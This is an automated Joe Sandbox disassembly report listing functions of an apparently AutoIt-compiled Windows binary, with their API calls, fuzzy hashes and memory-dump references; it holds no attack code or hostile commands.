Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: 2b82241475eafa98fde9b8f44fefaa82244c9e75cc97d594d041ac6538847971
Instruction ID: a4b5d0e74b576f81b2dbcf0d52354b4e6c6fe54a83268a7c65ce660034a5538a
Opcode Fuzzy Hash: 2b82241475eafa98fde9b8f44fefaa82244c9e75cc97d594d041ac6538847971
Instruction Fuzzy Hash: AE31E370D00348AFEB329F648895BE7BBEDAB02314F00409EE2DA93341C7745A85CB55

Function 006A86AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,?,?,006A85CC,?,00738CC8,0000000C), ref: 006A8704
GetLastError.KERNEL32(?,006A85CC,?,00738CC8,0000000C), ref: 006A870E
__dosmaperr.LIBCMT ref: 006A8739

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: 51d0aa4760f447e1d1072ccbf1286092fe14ba8e9f465c05b37445c277b3bc82
Instruction ID: b8f48747e1b706b225df81947c9e5eccbe475c019a622d0c0f47537b99e501ea
Opcode Fuzzy Hash: 51d0aa4760f447e1d1072ccbf1286092fe14ba8e9f465c05b37445c277b3bc82
Instruction Fuzzy Hash: 6B0148326046202EEAA0B3346845BAE674B4BC3774F39121DE8058B2D2EEA4DC818998

Function 0067DB38 Relevance: 4.5, APIs: 3, Instructions: 29windowsleepCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 0067DB7B
DispatchMessageW.USER32(?), ref: 0067DB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0067DB9F
Sleep.KERNEL32(0000000A), ref: 0067DBB1
TranslateAcceleratorW.USER32(?,?,?), ref: 006C1CC9

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchPeekSleep
String ID:
API String ID: 3288985973-0
Opcode ID: 1959d3d4473a5c9a50bafa81b215815a8c95c8c40f8cb6589389672888aacbec
Instruction ID: ae2f2fddd2258be9dffaa327468a27827b1aa5a6bf7d2f9b737de702dbde35dc
Opcode Fuzzy Hash: 1959d3d4473a5c9a50bafa81b215815a8c95c8c40f8cb6589389672888aacbec
Instruction Fuzzy Hash: 1EF05E30644340DBE730DB608C49FEA73BEEF46710F508B19F61A971C0DB78A4888B19

Function 00681310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 006817F6

Strings

CALL, xrefs: 006817C6

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 348b2fe02bea70b669239ada49e3ede840c99ab5cebe53b36799d0dab9f95ea1
Instruction ID: 4012f82fe222443142145800400a607e27eb518336bb1fca6f994464abb7b76c
Opcode Fuzzy Hash: 348b2fe02bea70b669239ada49e3ede840c99ab5cebe53b36799d0dab9f95ea1
Instruction Fuzzy Hash: 5B229CB06082419FC714EF14C484B6ABBF6FF86314F248A6DF49A8B361D771E942CB56

Function 006801E0 Relevance: 3.6, APIs: 2, Instructions: 643COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50e160fafcd2e54fbc96435f451afbe8cacfb79eb4adf3075747dde015007ec4
Instruction ID: e8648fbb997001993263d0e1e2024ffd8670982c679055b86d64d12411be75c0
Opcode Fuzzy Hash: 50e160fafcd2e54fbc96435f451afbe8cacfb79eb4adf3075747dde015007ec4
Instruction Fuzzy Hash: 3532CE30A00605DFDB64EF54CC95FBEB3A2EF04310F148A6DE9169B3A1D771AA84CB95

Function 006CD363 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32(?,?), ref: 006CD375

Strings

X64, xrefs: 006CD2A8

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: ComputerName
String ID: X64
API String ID: 3545744682-893830106
Opcode ID: 40b32acd5430772f58b29b689ce7ade873e4d1778ec06ff6a19ea34edafb2a46
Instruction ID: f756359536f3856e536521d7eba97abb5e66330f3db9f8a3452991ec15dd9baf
Opcode Fuzzy Hash: 40b32acd5430772f58b29b689ce7ade873e4d1778ec06ff6a19ea34edafb2a46
Instruction Fuzzy Hash: 9ED0C9B5815118EACB94DB40DC88EEAF37DFB04301F608265F106E2040DB38964A9B21

Function 00673837 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 00673908

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: e4f9fc0775f6f7b14eb8f1b57dfca7d7471edb91c3fc3c40da03d6da52049bbc
Instruction ID: e4349a7a8cc215558269212fbd5e34458d51b06071fbe33078e84f04bfc7b0d1
Opcode Fuzzy Hash: e4f9fc0775f6f7b14eb8f1b57dfca7d7471edb91c3fc3c40da03d6da52049bbc
Instruction Fuzzy Hash: C0318EB0A043119FD761EF24D8847D7BBE9FB49708F00492EF69983340E775AA84DB56

Function 0068F645 Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0068F661

Part of subcall function 0067D730: GetInputState.USER32 ref: 0067D807

Sleep.KERNEL32(00000000), ref: 006CF2DE

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: InputSleepStateTimetime
String ID:
API String ID: 4149333218-0
Opcode ID: f51d3710f0228d7e3cd9c595ca8e4135bc2fd4625ed270c0a0df4244c1a2126c
Instruction ID: 3fa48b08f024357767692b7162638054f716925011c36fbcad5f9d2502a162ad
Opcode Fuzzy Hash: f51d3710f0228d7e3cd9c595ca8e4135bc2fd4625ed270c0a0df4244c1a2126c
Instruction Fuzzy Hash: 98F08C312402059FD354EF69D44AB6AB7EAEF45761F00822DE85DC72A0EF70A800CB99

Function 00674ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00674E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00674EDD,?,00741418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00674E9C
Part of subcall function 00674E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00674EAE
Part of subcall function 00674E90: FreeLibrary.KERNEL32(00000000,?,?,00674EDD,?,00741418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00674EC0

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00741418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00674EFD

Part of subcall function 00674E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,006B3CDE,?,00741418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00674E62
Part of subcall function 00674E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00674E74
Part of subcall function 00674E59: FreeLibrary.KERNEL32(00000000,?,?,006B3CDE,?,00741418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00674E87

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: 066aedc963a80dfb07d249d38190a02c42b8314a0583937d246b5d774ff451c8
Instruction ID: bc8e55a20edfd5cc7418905b90edbb39726f0984e7c78f31f30348d6131bf43d
Opcode Fuzzy Hash: 066aedc963a80dfb07d249d38190a02c42b8314a0583937d246b5d774ff451c8
Instruction Fuzzy Hash: 25110132600205AACB10EB70DC0ABAD77A6AF80710F20C42DF04AA62C1EFB59A459B58

Function 006A8402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 006A8440

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 18c7c5e38070e748bf528c94747af5ed9f7ac61b695de48ffad83a00653557d1
Instruction ID: 667f006820152c08445e78741083e292dd8cec298d9859e3f09620ec66ff1222
Opcode Fuzzy Hash: 18c7c5e38070e748bf528c94747af5ed9f7ac61b695de48ffad83a00653557d1
Instruction Fuzzy Hash: AD11187590420AAFCB05EF58E9459DA7BF9EF49314F104099F808AB312DB31DE11CBA9

Function 0069E602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: e576880390945a8185c69933fc946315a5c6ad1811dc10ebe565eac1cba42370
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: 1FF0F932510E109ADE717A698C05B96339F9FA3331F10072DF420D7AD2DF75E8028AAD

Function 006A3820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00741444,?,0068FDF5,?,?,0067A976,00000010,00741440,006713FC,?,006713C6,?,00671129), ref: 006A3852

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: dce766c804e5a610ce89067f6f54c050f57fa4878af91cfa172534c4da84492b
Instruction ID: 34cf1e90ee7d562e0188b1f15bf0fb35628ca503a774a351fb680207470bdc78
Opcode Fuzzy Hash: dce766c804e5a610ce89067f6f54c050f57fa4878af91cfa172534c4da84492b
Instruction Fuzzy Hash: CAE0E53110123496DA213B669C05FDA375FAF437B0F054125BC0592B80DF18DE028BE4

Function 00674F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,00741418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00674F6D

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 902acb239060c4ff7c26cc52e0eba61e9715dab2d82e0b16f9529d5562951a5d
Instruction ID: 018d4f5e04e57ee8bf7f05736d1874f467be10008c7b4c15726ef8930b6ff7e4
Opcode Fuzzy Hash: 902acb239060c4ff7c26cc52e0eba61e9715dab2d82e0b16f9529d5562951a5d
Instruction Fuzzy Hash: 30F03971105752CFDB349F64D498862FBE6EF55329320CA7EE1EE82621CB3A9884DF10

Function 00702A55 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00702A66

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: 4291adc1cc213187842ec9dbdda5ff96c3270c2b519398b5e9b3218e6de22739
Instruction ID: 95093b0c4e819a62f4d86fb9e0ec0d800c33d9f420e5e6cca553ff5ef9f53c26
Opcode Fuzzy Hash: 4291adc1cc213187842ec9dbdda5ff96c3270c2b519398b5e9b3218e6de22739
Instruction Fuzzy Hash: D1E0DF72740216EAC760EB30DC848FA739CEB10390B10823ABC1BC6241EF38898682A4

Function 006730F2 Relevance: 1.5, APIs: 1, Instructions: 24windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000002,?), ref: 0067314E

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: ed0103d5d4a90a59fd182daf1e6de1ad87a8ea9d5f9dfde2cbef7cfbcc123bc0
Instruction ID: c3552c840d8b79fe0adec6342fb9a47f29e6b9f4e1989302d58dbb4179f7b276
Opcode Fuzzy Hash: ed0103d5d4a90a59fd182daf1e6de1ad87a8ea9d5f9dfde2cbef7cfbcc123bc0
Instruction Fuzzy Hash: 6CF0A7709003149FEB62AF24DC457D57BFCA701708F0041EAA14897281DB7447C8CF45

Function 00672DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00672DC4

Part of subcall function 00676B57: _wcslen.LIBCMT ref: 00676B6A

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: 13ae075d180392f66e479eb7ab4dd4d70e0fbc3501e6ef098c2f01a201e32e7e
Instruction ID: fac7d9ea4ca000afba2744d52f99874480a8ab06c08290aec0d66df7c93c68c3
Opcode Fuzzy Hash: 13ae075d180392f66e479eb7ab4dd4d70e0fbc3501e6ef098c2f01a201e32e7e
Instruction Fuzzy Hash: CAE0CD726001245BC7119358DC05FEA77DDDFC9790F044175FD09D7249D964ADC0C654

Function 00672B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00673837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00673908

Part of subcall function 0067D730: GetInputState.USER32 ref: 0067D807

SetCurrentDirectoryW.KERNEL32(?), ref: 00672B6B

Part of subcall function 006730F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 0067314E

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectoryInputState
String ID:
API String ID: 3667716007-0
Opcode ID: 02eeceaf74683cad6ff56d21147e90dd8a81d36e737c54be3364c4d33ea4384a
Instruction ID: 942da974f0d43b4ce66ac9924867db4052046bd4cbca2f0101a584292e8aea8b
Opcode Fuzzy Hash: 02eeceaf74683cad6ff56d21147e90dd8a81d36e737c54be3364c4d33ea4384a
Instruction Fuzzy Hash: 57E0262130025803CA48BB3498124ADA75B8FD2351F40C93EF04A432A3CF284585421A

Function 006DDF27 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 006DDF40

Part of subcall function 00676B57: _wcslen.LIBCMT ref: 00676B6A

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: FolderPath_wcslen
String ID:
API String ID: 2987691875-0
Opcode ID: 0639636ef266e268bf5d8ee1e549456707cad49cd4fc2f9ae78140783142f1d0
Instruction ID: 8dd917389e738f1debe76fb47aae447b947ff50422fc81405426a0a1cb92a06e
Opcode Fuzzy Hash: 0639636ef266e268bf5d8ee1e549456707cad49cd4fc2f9ae78140783142f1d0
Instruction Fuzzy Hash: 8DD05EA2A002286BDFA0A774DC0DDF73AACD740210F0046A0786DD3152E924DE8486B0

Function 006B039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,006B0704,?,?,00000000,?,006B0704,00000000,0000000C), ref: 006B03B7

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4cb400460d2b9a1050a37e9ace85d8646f4242149c013e930964876543c7a25b
Instruction ID: 52fddc863a6ef67570f5ece4d21d421bfe67416b24c62a431f372df3433b19ac
Opcode Fuzzy Hash: 4cb400460d2b9a1050a37e9ace85d8646f4242149c013e930964876543c7a25b
Instruction Fuzzy Hash: F3D06C3204010DFBDF028F84DD06EDA3BAAFB48714F018100BE1856020C736E821AB94

Function 00671CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 00671CBC

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: 2df282f278294eae14db9e2f2a01f1a5a23e7ebe9abbe4da7f7e68e885471b5c
